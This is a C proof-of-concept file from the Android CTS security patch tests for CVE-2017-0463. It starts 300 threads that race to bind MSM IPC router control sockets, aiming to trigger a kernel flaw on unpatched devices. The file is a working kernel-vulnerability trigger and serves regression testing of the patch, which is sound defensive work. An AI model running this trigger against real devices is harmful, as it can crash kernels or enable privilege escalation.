hostsidetests/security/securityPatch/CVE-2017-0463/poc.c

/**
 * Copyright (C) 2017 The Android Open Source Project
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

#define _GNU_SOURCE
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <unistd.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <netinet/ip.h>

#define AF_MSM_IPC 27
#define MSM_IPC_ADDR_NAME        1
#define IPC_ROUTER_IOCTL_BIND_CONTROL_PORT _IOR(0xC3, 4, unsigned int)
#define M 300

void *trigger(void *p);

struct msm_ipc_port_addr {
    uint32_t node_id;
    uint32_t port_id;
};

struct msm_ipc_port_name {
    uint32_t service;
    uint32_t instance;
};

struct msm_ipc_addr {
    unsigned char  addrtype;
    union {
        struct msm_ipc_port_addr port_addr;
        struct msm_ipc_port_name port_name;
    } addr;
};

struct sockaddr_msm_ipc {
    unsigned short family;
    struct msm_ipc_addr address;
    unsigned char reserved;
};

struct sockaddr_msm_ipc addr;

void *trigger(void *p) {
    int f = socket(AF_MSM_IPC, 2, 0);
    ioctl(f, IPC_ROUTER_IOCTL_BIND_CONTROL_PORT, 0);

    addr.family = AF_MSM_IPC;
    addr.address.addrtype = MSM_IPC_ADDR_NAME;
    bind(f, (struct sockaddr *)&addr, sizeof(addr));

    close(f);
    return NULL;
}

int main()
{
    int i;
    pthread_t th0[M];

    for (i = 0; i < M; i++) {
        pthread_create(&th0[i], NULL, trigger, NULL);
    }

    usleep(100000);
    return 0;
}